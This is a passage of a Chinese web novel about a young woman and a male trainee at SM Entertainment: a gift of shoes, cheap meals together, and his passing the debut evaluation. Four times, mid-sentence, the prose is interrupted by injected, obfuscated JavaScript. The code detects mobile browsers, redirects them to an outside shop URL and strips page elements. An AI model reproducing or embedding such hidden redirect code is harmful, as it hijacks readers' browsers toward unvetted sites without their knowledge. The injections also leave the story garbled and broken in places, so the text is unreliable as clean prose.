明天就是月底结算的日子,练习生们这个月的出勤率和考核成绩会决定下个月的补贴金额。她上个月因为感冒缺了三天课,补贴肯定要缩水。 但她还是点了“立即购买”。 如今小姑姜怀瑾和小姑父李敏洙已经从破产的事件里抽离,两个人找了个门店,把花店经营起来了。 当初的那些豪门贵妇也没有摒弃姜怀瑾,反而成了店里的常客。 小姑家的经济危机也得到了缓解。 哪怕是最困难的时候,姜怀瑾在姜智恩的生活费上从来没有苛刻。 再加上练习生的一些补贴,姜智恩其实过得也不错。不像金钟沄,偶尔会听到练习生讨论他,她也知道原来金钟沄的父亲遭遇了意外,已经无法正常上班了。 所以一切的担子压在了金钟沄身上,他作为家中的长子,只能拼命的练习,等待那个出道的机会。 甚至好几次金钟沄说过放弃的话,“智恩xi,如果我还不能出道,可能就要离开公司了,你要加油练习呀!” “家里的情况很不好,有时候我真的很羡慕你。” “智恩,以后我们互相监督,争取早日出道!” “……” 金钟沄总是这么说,可是姜智恩明白,那张笑脸下面藏着一双悲伤的眼睛。 姜智恩看着付款成功的界面,满意地闭上了眼睛。 希望时间快一点,她想早点把礼物送到金钟沄的手上。 第三天下午,包裹送到的时候,姜智恩正在食堂吃午饭。手机震动了一下,她看了一眼短信,饭没吃完就跑去便利店取了包裹。 盒子不大,拿在手里轻飘飘的。 她晃了晃,里面的鞋盒发出轻微的摩擦声。 她没有立刻拆开,而是把包裹塞进背包,等待着放学之后去练习室送给金钟沄。 姜智恩如愿以偿的去了首尔大学,只不过由于练习生的身份,她一般会翘掉下午的一些不重要的课程,直奔SM公司的练习室。 下午的声乐课。 她站在金钟沄斜后方,看着他唱歌时微微颤抖的肩膀。他的声音稳,但气息还是不够长,老师让他单独练一段,他唱到一半就卡住了。 “还是老问题,”老师说,“肺活量不够,回去多跑步。” 他点头,没说话。 下课的时候,姜智恩看着他收拾东西,把那个用了很久的帆布包装得鼓鼓囊囊。他走得很快,像是赶着去什么地方。 她追上去:“金钟沄。” 他停下脚步,回头看她。 姜智恩突然有点紧张。她把背包取下来,拉开拉链,拿出那个包裹,递到他面前。 “这个,给你。” 金钟沄低头看着那个包裹,又抬头看她,眼睛里有一点困惑。 “什么?” “鞋。”姜智恩说,“你鞋底不是磨破了吗。” 他愣了一下,然后笑了,但不是平时那种礼貌性的笑,是那种有点不知道该怎么办的笑。 “不用,真的不用,我……” “已经买了,”姜智恩把包裹往他怀里一塞,“退不了。” 包裹被他下意识接住。 他低头看着它,手指在纸盒的边缘摩挲了一下,又抬起头来。 “多少钱?我给你。” “不用。”姜智恩打断他,“你请我吃饭就行。” 话一出口她就后悔了。 请他吃饭——这不是让他花钱吗?她明明知道他不参加聚餐就是因为不想花钱。 但金钟沄看着她,沉默了几秒,然后说:“好。” 姜智恩愣住了。 “明天晚上,”他说,“我知道有个地方,炒年糕很好吃,也不是很贵。” 他说最后一句话的时候,语气里有一点不好意思,但又很坦然。 姜智恩点点头:“好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352957|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 晚上十一点,姜智恩又去了一趟练习室。 她本来只是想路过看看,结果走到门口就听见里面传来的音乐声。门虚掩着,透出一条细细的光。 她轻轻推开门,看见金钟沄正对着镜子跳舞。 他穿着一件洗得发白的灰色T恤,后背已经被汗浸透了一大片。镜子里的他表情专注,眼神盯着自己的每一个动作,一遍一遍地扣细节。 一个抬手,他做了五遍;一个转身,他做了八遍。 姜智恩站在门口,没有出声。 音乐停了。 金钟沄站在原地喘气,从镜子里看见了她。 他转过身,拿起地上的毛巾擦汗:“怎么来了?” “路过。”姜智恩走进去,在他旁边坐下,“你每天都练到这么晚?” 他没回答,只是拧开矿泉水瓶喝了一口。 姜智恩看着他仰头喝水时滚动的喉结,汗湿的头发贴在额头上。 他放下水瓶时,手微微颤抖着。 显然是体力透支。 “钟云,你是不是低血糖?”姜智恩问,然后她从口袋里拿出一颗巧克力递给他,“吃一颗吧,恢复体力。” 金钟沄没拒绝,接了下来,拆开糖纸立刻把巧克力塞进嘴里。 咀嚼的时候,还下意识的回了一句,“真甜。” “你明天还要打工吗?”姜智恩问。 “嗯,早上六点的班。” “便利店?” “送货。”他说,“五点半要到那边。” 姜智恩算了算时间。 现在是十一点多,他回去洗漱睡觉,最多能睡四个小时。 “那你还不回去?” 金钟沄看着她,眼睛里有一点光。 “你不是也在这儿吗?” 姜智恩愣了一下,然后笑了。 两个人并肩坐在地板上,谁也没说话。窗外的城市还亮着一些零星的灯火,远处有车的声音隐隐传来。 “姜智恩。”他突然开口。 “嗯?” “谢谢你的鞋。” 她转过头,看见他正看着镜子里的自己,也看着镜子里的她。 “明天晚上,”他说,“我请你吃炒年糕。” “嗯。好呀!”姜智恩对于金钟沄的邀请,很自然地回一个笑。 “钟云,你出道的事情怎么样了?我最近有听说高层有单独找你。”半晌,姜智恩终于憋不住了,问出了心里想问的。 实际上,她也被高层谈话。 高层对她的期待值很高,希望她认真练习。 至于出道的事情,是没有提及半点。 姜智恩想,这也正常,毕竟她才到公司一个多月。 就算是再厉害的练习生,也不可能在一个月内就出道。 金钟沄轻轻的嘘了声,“出道时间下来了,下个月6号。组合名字暂时保密。可是公司决定还有一次重要考核,只要我顺利通过,就可以跟着金希澈一起出道。” 姜智恩拍了下金钟云的肩,开心地回应,“那不是挺好吗!我真替你高兴!钟云,你要加油哦,我一直一直为你应援。” 金钟云被这么一夸,脸颊微微发红。 不知道为什么,他在这个女孩面前,总是容易害羞。 16. (016) “你呢?”金钟沄的眼睛亮闪闪的,在看向女孩的时候,像是天上的星星。 姜智恩垂眸,“哎,不提了,我上次被叫去办公室,还以为有什么好事呢,结果只是让我更努力的练习,我还看到了李绣满老师,他对我的期待蛮大的。” “当然啦,毕竟是他留下你的。”金钟沄拍了拍手,“再练一个小时,怎么样?” “好啊!”姜智恩想也没想,跟着金钟沄走到跳舞的地方,开始一点一点地抠细节。 练习室的灯光长明,承载了无数练习生的努力。 * 第二天晚上六点半,姜智恩站在公司后门等他。 天已经黑了,路灯还没完全亮起来,街角那家小吃店的招牌亮着粉红色的灯。她站在那里,看着来来往往的人,看见一个穿着校服的高中生骑着自行车过去,也看见一对老夫妻手挽着手慢慢走远。 然后她看见金钟沄从街角拐过来。 他换了一身衣服。不是平时那件洗得发白的灰T恤,而是一件深蓝色的卫衣,看起来挺新的。脚上穿着她送的那双鞋,黑色的,在路灯下泛着一点光。 他走到她面前,低头看了看自己的脚,又抬起头来。 “正好。”他说。 姜智恩笑了:“走吧。” 小吃店很小,只有四张桌子,但收拾得很干净。老板娘认识金钟沄,看见他就笑着招呼:“又来啦?今天带朋友了?” 他点点头,带着姜智恩在最里面的桌子坐下。 “炒年糕,两份。”他说,然后看向姜智恩,“能吃辣吗?” “能。” “再来一份鱼饼汤。”他对老板娘说。 等餐的时候,姜智恩看着他在桌上摆好纸巾和筷子,动作很自然,像是做惯了这些。 “你常来?”她问。 “嗯。”他说,“这里便宜,老板娘人也好。有时候打工太晚,就来吃一碗再回去。” 炒年糕端上来了,红彤彤的一锅,冒着热气。 鱼饼汤是清亮的,飘着几片葱。 “吃吧。”他把筷子递给她。 姜智恩夹了一块年糕,咬了一口。 “好辣!”姜智恩赶紧喝了一口水,然后又补充道,“但是很香,很美味!” 金钟沄看着她,嘴角弯起来。 “慢点吃,没人和你抢。” 他吃得很慢,每一口都嚼很久。 姜智恩注意到,他吃的年糕比鱼饼多,鱼饼比年糕少,像是在把好吃的留到最后。 “你为什么想当练习生?”她突然问。 金钟沄愣了一下,筷子停在半空中。 “就是……想试试。”他说。 “试试?” “嗯。”他把那块年糕放进嘴里,嚼了嚼,咽下去,“我小时候在电视上看见那些跳舞的人,觉得他们很好看。不过,我是在妈妈的支持下才去SM参加竞选的,没想到我拿到了大赏,就这样和公司签约了。” 他说这些话的时候,眼睛看着桌上的炒年糕,语气很平静。 “那如果出不了道呢?”姜智恩问。 他终于抬起头来,看着她。 “那就出不了道。”他说,“但至少我知道自己试过了。” 姜智恩想起昨天在练习室里他说的话。“如果不能出道,我也想知道自己尽力了是什么样子。” 她看着他,看着他眼睛里那一点很淡很淡的光。 “那你呢?”他问,“你为什么想当练习生?” 姜智恩想了想,说:“因为我喜欢唱歌。” “就这样?” “哈哈,你想听真话吗?”姜智恩揶揄。 金钟沄笑了,“刚才说的不像是真的,像是回答记者的回答,很官方。” 姜智恩眯了眯眼,“其实是因为小姑家里不太好,我可能没有生活费了,然后突然有一天,有个星探发现了我,他说我很适合当爱豆,我那时候什么也不懂,只知道SM公司会给练习生补贴,还能提供住宿,我就想着来试一试。” “你应该知道的,最开始我被刷了下来,”姜智恩咬了一口年糕,认真地看着金钟沄,“如果不是李绣满老师,或许,我现在只是一个普通的大学生。” “但是,你还是来了。”金钟沄笑了,“智恩欧尼,你一定能出道的,我一直相信着。” “嗯,我知道,我会努力的。”姜智恩笑看着他,心里的勇气也多了几分。 或许,未来还要练习一年,或许两年,甚至更久。 但是她绝对不会放弃的! 吃完饭,两个人走出小吃店。 外面的天已经全黑了,路灯亮着,街上的人少了。 “我送你回去。”他说。 “不用,又不远。” “走吧。” 他走在她旁边,不近不远,正好隔着一个拳头的距离。两个人没有说话,只有脚步声在安静的街道上响着。 路过忠武路的时候,金钟云停下脚步。 “姜智恩。” 她转过身。 “下次,”他说,“我请你吃拉面。” 月光照在他脸上,他的眼睛很亮。 姜智恩点点头:“好。” “我听说这条路上有不少演员……”姜智恩打开了话匣子,“金钟沄,如果你出道了,当了歌手,是不是也会有机会去演戏啊?不知道为什么,我好期待你能去演戏。” 在韩国,实际上爱豆之间也有等级之分。 唱跳爱豆比不过演员,这是大家公认的认知。 金钟沄埋下头,“嗯,或许吧。” “没关系!我们以后一定会成为闪闪发亮的大明星的!”姜智恩回头,站在别墅的门口,看着他,“金钟沄,你要相信自己!” 金钟沄点头,朝着她挥了挥手。 “回去吧。” “嗯,”姜智恩转身走了一步,突然又停下来,转身,她冲着金钟沄笑,“钟云,祝你出道顺利!” 金钟沄稍稍一愣,最后抬起手挥了挥。 “晚安。” “安~~” 姜智恩走进楼里,回头看了一眼。他还站在那里,看见她回头,挥了挥手。 电梯门关上的时候,姜智恩才发现自己在笑。 姜智恩打开门,正在玄关处换鞋。 李在伊的声音轻飘飘地飘过来,“欧尼,那个男生是谁啊?男朋友吗?” 姜智恩的动作一顿,尴尬地停在那里。 她抬起头,下意识的寻找小姑姜怀瑾的身影,只是客厅空荡荡的,只有李在伊站在一旁,双手抱胸,一脸好奇的打量着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352958|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “小姑呢?”姜智恩想要确定他们在不在家,免得李在伊话不遮拦,什么都说。 李在伊摇头,“爸妈还在花店里忙呢,最近有个贵妇办茶话会,订了一批花卉装饰。”说完之后,她再次认真询问,“欧尼,你快说啊,是不是你的男朋友?哦莫,长得好帅啊!” “什么男朋友?!”姜智恩抬起手敲了下李在伊的额头。 对方吃痛的捂着,“欧尼,干嘛打我嘛!我从来没看到有男生送你回家呢!你放心,我绝对不会告密的。” 有这句话就好了。 姜智恩轻声笑了下,“我和金钟沄只是普通朋友啦……” “普通朋友会送鞋?”李在伊指着拆开的包裹单子,“欧尼,我都看见了,你还给对方买鞋呢!老实交代,关系不一般吧?” “才没有!”姜智恩羞赧地偏过头,“是因为他在舞蹈上经常帮助我,所以我想着送一份礼物给他,恰好他鞋子破了,我就想着买一双鞋的。真的是朋友关系,不是男朋友。” 李在伊哦了一声,“哎,真扫兴。” 还以为欧尼谈恋爱了,毕竟男朋友那么帅,是一件多么让人羡慕的事情。 “他也是练习生吗?”李在伊转移话题,一定要刨根问底,最好把对方的家庭住址也盘问出来,她绝对不相信两个人的关系是单纯的! 姜智恩点头,“是的。不过,他马上要出道了。” “哇哦,那好遗憾啊……他出道了,就不能谈恋爱了。”李在伊有些扫兴。 姜智恩又是一个暴栗,“呀,李在伊,你的脑子里只有谈恋爱吗!还是说,你偷偷找男朋友了!” “什么嘛,怎么扯到我身上了。男朋友只会影响我的成绩!”李在伊轻笑,“哼,你再打我,我就告诉我妈妈有男生送你回家!” “别别别……”姜智恩慌了,她可不想给金钟沄添麻烦,赶紧从口袋里掏出一盒巧克力递过去,“这个送给你吃,我都还没有拆开的!你别告诉小姑,我和他真的只是普通朋友的关系。” 李在伊看着品牌的巧克力,眼睛亮了亮。 她快速的抢走,然后放进口袋,“哼,这还差不多。欧尼,你能不能帮我补习数学啊,最近总是被老师骂……” 就知道她准没好事! 姜智恩伸了个懒腰,“行吧,你先去书房等我,我先洗个澡,累了一整天,浑身汗唧唧的,累死了。” “内~~”李在伊快速的闪进书房。 姜智恩拿着换洗衣物走到浴室的时候,金莲娜从走廊的一旁突然出来,她拧眉看着姜智恩,“姜小姐,那个男生以后少接触。” “金管家!”姜智恩眉头微蹙,“我希望你少管闲事!我跟他没谈恋爱,只是关系好的朋友。” 金莲娜再次提醒,“我只是提醒你,如果要当爱豆,就别留下‘案底’……” 在练习生中有一条不成文的规矩,那就是——绝对不能谈恋爱。 一旦被公司发现,或许会直接劝退。 爱豆这一行,是被大众喜欢的,谁也不喜欢花钱养嫂子。 姜智恩无所谓的耸耸肩,“你放心,没案底,并且,我很快就能出道的。” 姜智恩的肯定,让金莲娜错愕,却也只能淡淡的看着女孩走进浴室,无奈的叹气声在走廊回荡,金莲娜只能悻悻离开。 17. (017) 浴室里热气蒸腾,姜智恩站在花洒下,任由热水冲刷过酸痛的肩膀。 她闭上眼睛,脑海里却浮现出金钟沄站在路灯下的样子。男孩穿着深蓝色的卫衣,崭新的黑色运动鞋,还有那双亮得像是盛着星星的眼睛。 她摇了摇头,把脸埋进水里。 “只是朋友!!姜智恩,你到底在胡思乱想什么!” 只是朋友。 她对自己说。 只是很好的朋友。 可为什么,心跳得这么快? 洗完澡出来,姜智恩换上宽松的家居服,擦着湿漉漉的头发往书房走。 路过客厅的时候,她看见金莲娜正在整理花瓶里的插花,动作优雅而疏离。 “金管家,”她停下脚步,“刚才对不起,我语气不太好。” 金莲娜手上的动作顿了顿,抬起头看她。那双眼睛里没什么波澜,只是淡淡地点了点头:“没关系。姜小姐能明白我的好意就行。” “我明白。”姜智恩说,“但金钟沄他真的只是朋友。而且,他马上就要出道了,我们……我们只是想在各自的路上互相帮一把。” 金莲娜看着她,沉默了一会儿,然后说:“那条路很难走。能有个互相搀扶的人,是好事,只是别迷了路。” 姜智恩愣了一下,然后笑了:“谢谢您。” 书房里,李在伊已经摊开了数学课本,正咬着笔头发呆。看见姜智恩进来,她立刻坐直了身体:“欧尼快来!这道题我不会!” 姜智恩走过去,在她旁边坐下。 台灯的光晕染开来,把两个人的影子投在墙上。 “哪道?” “这个。”李在伊指着试卷上的函数题,“完全看不懂。” 姜智恩看了看题目,拿起笔在草稿纸上画起来。她讲得很慢,每一步都拆开来讲,直到李在伊的眼睛亮起来:“哦~~原来是这样!” 讲完题,李在伊趴在桌上,歪着头看她:“欧尼,你以后要是出道了,还会给我讲题吗?” 姜智恩敲了敲她的脑袋:“想什么呢,出道还早着呢。” “可是你刚才在浴室门口不是说很快就能出道吗?”李在伊眨眨眼睛,“我听见了哦。” 姜智恩失笑:“耳朵这么尖?” “那当然!”李在伊得意地晃晃脑袋,“欧尼,你要是出道了,我是不是就能免费拿你的签名照了?到时候拿去学校卖,肯定能发财!” 姜智恩哭笑不得:“你这脑袋里一天天都在想什么?” “想怎么赚钱啊。”李在伊理所当然地说,“你不是也因为家里没钱才去当练习生的吗?我也想赚钱,让妈妈不那么累。” 姜智恩看着她,心里软了一下。 李在伊今年才十五岁,却已经懂得替妈妈着想了。 自己十五岁的时候在做什么? 那时候父亲姜杉尚在,她也是被宠爱的小孩。只可惜,一场大病带走了父亲,而她也被迫寄人篱下。 如今,小姑遭遇破产,现在好不容易有了花店的营生,总不能因为她的加入,让日子过得拮据。 小姑姜怀瑾一看就是那种高傲的人,他们的别墅在富人区,家里被金管家打点的井井有条。 若不是破产了,日子只会越来越好。 想着李在伊这么贴心,姜智恩的心也软了。 “会的。”她摸了摸李在伊的头,“等欧尼出道了,给你买好多好吃的。” “拉钩!” “拉钩。” 两个人的小拇指勾在一起,在台灯下晃了晃。 * 接下来的日子,像是被按下了快进键。 每天早上六点,姜智恩准时起床,赶在早高峰前坐上去公司的公交车。上午在首尔大学上课,中午连饭都来不及吃,就要赶去SM公司。 声乐课,舞蹈课,晚上是自由练习时间。 可是对于姜智恩来说,缺少了上午的练习,只能用更多的时间去填补。 有时候练得太晚,她就直接睡在公司的练习室里,第二天早上被保洁阿姨叫醒。 金钟沄也是。 自从李绣满给了他机会,他像是换了个人。以前他就练得比别人狠,现在更是不要命。 姜智恩有时候半夜两点去接水,还能看见隔壁练习室的灯亮着,透过门上的玻璃窗,能看见他对着镜子一遍遍地抠动作,汗水把衣服浸透了一遍又一遍。 “你不累吗?” 有一天晚上,姜智恩推开门问他。 他停下来,喘着气看她:“累。但更怕以后后悔。” 姜智恩走进去,在他旁边坐下。 练习室里只有他们两个人,空调已经关了,空气里还残留着汗水的味道。 “我听说,”她犹豫了一下,“你们出道组的评价就在下周?” 金钟沄点点头,在她旁边坐下。地板上还残留着他刚才练习的热度,透过薄薄的瑜伽裤传过来。 “紧张吗?” “还好。”他说,“反正已经尽力了。” 姜智恩看着他,看着他侧脸的线条,看着他额头上还没干的汗珠。 她想起第一次见他时,他低着头挨骂的样子;想起他给自己饼干时,小心翼翼的表情;想起他为了自己冲向办公室时,决绝的背影。 她想了很多,很多。 最后,姜智恩才轻轻启唇,“只要过了最后一关,你就能顺利了。不是说金溪澈也会在组合吗?” 金钟沄转过头看她,眼睛里有一点光:“这次的考核很重要,随时都有可能把人踢出去。你想想,韩国什么时候有超过十个人的组合了?我想公司最后留下的就是那些在考核里拿到好成绩的人,可是我……我太普通了。” “我相信你,金钟沄,你可以做到。”姜智恩肯定地点头。 “为什么?” “因为,”她想了想,“因为你是我见过最努力的人,老天不会辜负努力的人。” 金钟沄愣了一下,然后笑了。那个笑容很淡,却比平时更真实。 “谢谢你,智恩。” “谢什么?” “谢谢你相信我。”他说,“有时候我自己都不相信自己,但你相信我。” 姜智恩不知道该说什么,只是轻轻地把头靠在他肩上。 两个人就这么坐着,什么话也不说,只是看着镜子里自己的倒影,和彼此依偎的身影。 窗外,城市已经沉睡。但在这个小小的练习室里,有两个年轻人,还在为梦想挣扎着,努力着,相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352959|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信着。 * 出道评价的那天,姜智恩一整天都心不在焉。 声乐课的时候走神,被老师骂了一顿。舞蹈课的时候跟不上节奏,被老师罚多练一个小时。晚上自由练习的时候,她干脆不练了,坐在走廊里等消息。 公司的走廊很长,白色的灯光照得有些刺眼。偶尔有工作人员匆匆走过,没有人注意到角落里坐着的这个练习生。 姜智恩抱着膝盖,看着对面墙上贴着的出道艺人海报。BoA、H.O.T、S.E.S……那些闪闪发亮的名字,那些闪闪发亮的脸,曾经也是在这条走廊里走过的练习生吧? 他们等消息的时候,是什么心情? 也是像自己这样,坐在这里,紧张得心脏快要跳出来吗? 走廊尽头传来脚步声。 姜智恩抬起头,看见金钟沄走过来。 他走得很慢,脚步有些沉重。走廊的灯光打在他身上,把他的影子拉得很长。 姜智恩一下子站起来,却不敢开口问。 金钟沄走到她面前,站定。 他看着她,眼睛里有一点红。 姜智恩的心往下沉了沉。 “没事的,”她开口,声音有点抖,“这次不行还有下次,你才练习了五年,有些人练习了七八年才出道的,你……” “我过了。” 姜智恩的话卡在喉咙里。 “什么?” “我过了。”金钟沄说,声音有点哑,“出道评价,我过了。” 姜智恩愣在那里,眼睛一下子睁大了。 然后她看见金钟沄嘴角慢慢弯起来,弯成一个压都压不住的笑容。 “啊!!!” 姜智恩尖叫一声,扑上去抱住他。 “你过了!你过了!金钟沄你要出道了!这次是真的要出道了!” 金钟沄被她撞得往后退了一步,然后稳稳地接住她。他抱着她,把脸埋在她肩窝里,闷闷地笑出声来。 “嗯,我过了。” 姜智恩感觉到肩膀上一片湿热,才知道他在哭。 她没说话,只是抱得更紧了一些。 走廊里有人路过,看见两个抱在一起的练习生,笑了笑,悄悄走开了。在这个公司里,这样的场景并不少见。每一个出道的背后,都有无数个日夜的汗水,和无数次想要放弃的瞬间。 不知道过了多久,金钟沄松开她。他的眼睛红红的,但笑得很灿烂。 “谢谢你,智恩。”他说,“谢谢你那天去找李绣满老师。谢谢你一直相信我。” 姜智恩摇摇头:“是你自己努力的,跟我没关系。” “有关系的。”他说,“如果没有你,我可能已经放弃了。” 姜智恩看着他,心里涌起一股说不清的情绪。是高兴,是不舍,还有一点点说不清的酸涩。 他出道了。 从今天开始,他就是预备艺人了。 以后会有密集的出道准备,会有经纪人跟着,会有各种规则限制。他们不会再像以前那样,每天一起练习到深夜,一起去小吃店吃炒年糕,一起坐在地板上聊天。 “以后,”她开口,努力让自己的声音听起来正常一点,“以后是不是就不能这样见面了?” 18. (018) 金钟沄愣了一下,然后说:“为什么不能?” “你出道了呀。”姜智恩说,“公司会有规定的吧?” 金钟沄沉默了一会儿。 然后他说:“那又怎么样?” 姜智恩抬起头看他。 “我还是我。”他说,“还是那个在练习室里跟你一起抠动作的金钟沄。还是那个吃炒年糕会把鱼饼留到最后的金钟沄。还是那个……” “鞋底磨破了也不舍得换鞋的金钟沄。”姜智恩接话,笑了。 金钟沄也笑了:“对。” 他伸出手,像那天在练习室里一样,伸出小拇指。 “说好了,一起尽力。”他说,“不管我出不出道,不管你什么时候出道,这个约定不变。” 姜智恩看着他的小拇指,慢慢伸出自己的手,轻轻勾住。 “嗯,不变。” 走廊尽头,有人喊金钟沄的名字。是经纪人,叫他去开会。 他松开手,看着她:“等我。” “好。” 他转身跑向走廊尽头,跑了几步又停下来,回头看她。 灯光打在他身上,他的眼睛亮得像是盛着星星。 “姜智恩!” “嗯?” “你也会出道的!一定会!” 说完,他转身跑了。 姜智恩站在原地,看着他的背影消失在走廊尽头。 然后她低下头,看着自己的手。刚才勾过小拇指的那根手指,还残留着他指尖的温度。 她把它攥在手心里,贴在心口。 接下来的日子,果然和以前不一样了。 金钟沄搬进了出道组的宿舍,每天的时间被各种课程和会议排得满满当当。姜智恩偶尔会在公司里遇见他,但也只是匆匆点个头,连说句话的时间都没有。 她告诉自己,这样也好。他忙他的,她练她的,本来就应该这样。 可是每天晚上练习结束,一个人坐在空荡荡的练习室里的时候,她还是会想起那个总是坐在角落里等她的人。 她还是会想起他说的“等我”。 等他什么?等他出道吗?还是等他回来? 她不知道。 * 月底评价。 姜智恩站在评价室的门外,深吸一口气。 这一次的评价很重要。据说李绣满老师也会来。如果表现得好,说不定能进下一个出道预备组。 她想起金钟沄说过的话:你也会出道的。一定会。 推开门,走进去。 评委席上坐着几个熟悉的面孔,最中间的那个——李绣满老师正看着她,眼神平静而深邃。 音乐响起。 姜智恩闭上眼睛,深呼吸,然后开始唱。 她唱的是那首和金钟沄一起练过无数遍的歌。每一个换气的位置,每一个该收该放的地方,她都记得清清楚楚。那些标注是金钟沄一笔一笔写上去的,那些指导是他一句一句教给她的。 唱到最后一句,她睁开眼睛。 评委席上,李绣满老师的嘴角微微扬起一点弧度。 “不错。”他说,“比上次进步很多。” 姜智恩鞠躬:“谢谢老师。” “舞蹈呢?” “准备好了。” 音乐换成了舞曲。姜智恩脱下外套,露出里面的练习服。 她想起金钟沄教她的那个转身后的wave。发力点在腰,不是肩膀。身体要柔软,不是僵硬。 音乐响起,她开始跳。 每一个动作,每一个细节,都是无数个深夜练出来的。汗水随着动作甩出去,在地板上留下点点痕迹。 最后一个音符落下,她收住动作,站在那里,大口喘气。 掌声响起。 不是很多,但足够真诚。 李绣满站起来,看着她。 “姜智恩。” “是。” “从下个月开始,你进出道预备组。” 姜智恩愣住了。 “什么?” 李绣满看着她愣住的样子,嘴角的弧度又扬起来一点。 “怎么?不愿意?” “愿意!我愿意!”姜智恩反应过来,拼命鞠躬,“谢谢老师!谢谢您!” 走出评价室的时候,姜智恩的腿都是软的。 她靠在墙上,大口喘气,然后突然笑出声来。 出道预备组! 虽然不是正式出道,但那是离出道最近的地方! 她想告诉谁,想跟谁分享这个好消息。掏出手机,翻着通讯录,最后停在一个名字上。 金钟沄。 她犹豫了一下,还是按下了拨号键。 电话响了很久,久到她以为不会有人接的时候,那边传来一个压低了的声音。 “喂?” 是金钟沄。 “金钟沄!”姜智恩压低声音,但压不住语气里的兴奋,“我进出道预备组了!” 电话那头沉默了一秒,然后传来金钟沄的笑声。那笑声很轻,但听起来很开心。 “我就说你会出道的。”他说。 “还没出道呢,只是预备组。” “那也是快了。”他说,“等我出道了,你就来给我当师妹。” 姜智恩笑了:“好,一言为定。” “一言为定。” 挂了电话,姜智恩站在走廊里,看着窗外渐渐暗下来的天空。 远处,夕阳正在沉下去,把天边染成一片橙红。 她想起那天晚上,金钟沄站在路灯下,对她说“下次我请你吃拉面”。 她想起那天在练习室里,他伸出小拇指,说“说好了,一起尽力”。 她想起刚才电话里,他说“等我出道了,你就来给我当师妹”。 她笑了。 晚上九点,姜智恩从公司出来,正准备往公交车站走,就看见一个熟悉的身影站在路灯下。 深蓝色的卫衣,黑色的运动鞋,还有那双亮得像是盛着星星的眼睛。 “金钟沄?”她惊讶地走过去,“你怎么在这儿?你不是应该在公司准备出道吗?” 金钟沄看着她,笑了:“请假了。” “请假?出道准备这么紧张,你怎么能请假?” “因为,”他说,“要请你吃拉面。” 姜智恩愣了一下,然后笑了。 “你还记得?” “当然记得。”他说,“答应你的事,怎么会忘。” 两个人并肩往那条熟悉的小吃街走。路过那家炒年糕店的时候,老板娘正在收摊,看见他们,笑着打招呼:“哟,两个人又一起来啦?” 金钟沄点点头,带着姜智恩继续往前走。 最后停在一家拉面馆门口。店面很小,只有几张桌子,但里面飘出来的香味很诱人。 “这家好吃。”他说,“我以前打工的时候经常来。” 推门进去,热气扑面而来。老板是个中年大叔,看见金钟沄就笑了:“小子,好久没来了!听说你要出道了?” 金钟沄不好意思地挠挠头:“还没呢。” “快了快了!”老板拍拍他的肩,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352960|199633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天想吃什么?大叔请客!” “不用不用,”金钟沄连忙摆手,“今天我请朋友,您照常就行。” 两个人找了个角落的桌子坐下。金钟沄点了两碗拉面,又加了一份煎饺。 等餐的时候,姜智恩看着他。 “你瘦了。”她说。 “你也瘦了。”他说。 然后两个人都笑了。 “出道准备累吗?”她问。 “累。”他说,“但是值得。你呢?预备组怎么样?” “还没正式进去呢,下个月才开始。”她说,“不过今天李绣满老师夸我了。” “真的?夸什么?” “说我进步很大。” 金钟沄笑了:“那当然,也不看看是谁教的。” 姜智恩白了他一眼:“臭美。” 拉面上来了,热气腾腾的两大碗。煎饺也来了,金黄色的,看起来很香。 “快吃。”他把筷子递给她,“饿了吧?” 姜智恩接过筷子,夹起一筷子面,吹了吹,送进嘴里。 汤头很浓,面条很筋道,是她吃过最好吃的拉面。 “好吃吗?”他问。 她点点头,嘴里还塞着面,含糊不清地说:“好吃。” 他看着她,笑了。 窗外的夜色越来越深,小店里暖黄的灯光照着两个人。他们吃着面,聊着天,好像什么都没变,又好像什么都变了。 吃完面,两个人走出小店。 外面的风有点凉,姜智恩缩了缩脖子。金钟沄看见了,把自己脖子上的围巾取下来,围在她脖子上。 “不用——”她刚要拒绝,他已经围好了。 “走吧,”他说,“送你回去。” 还是那条路,还是那个距离,不近不远,正好隔着一个拳头的空间。 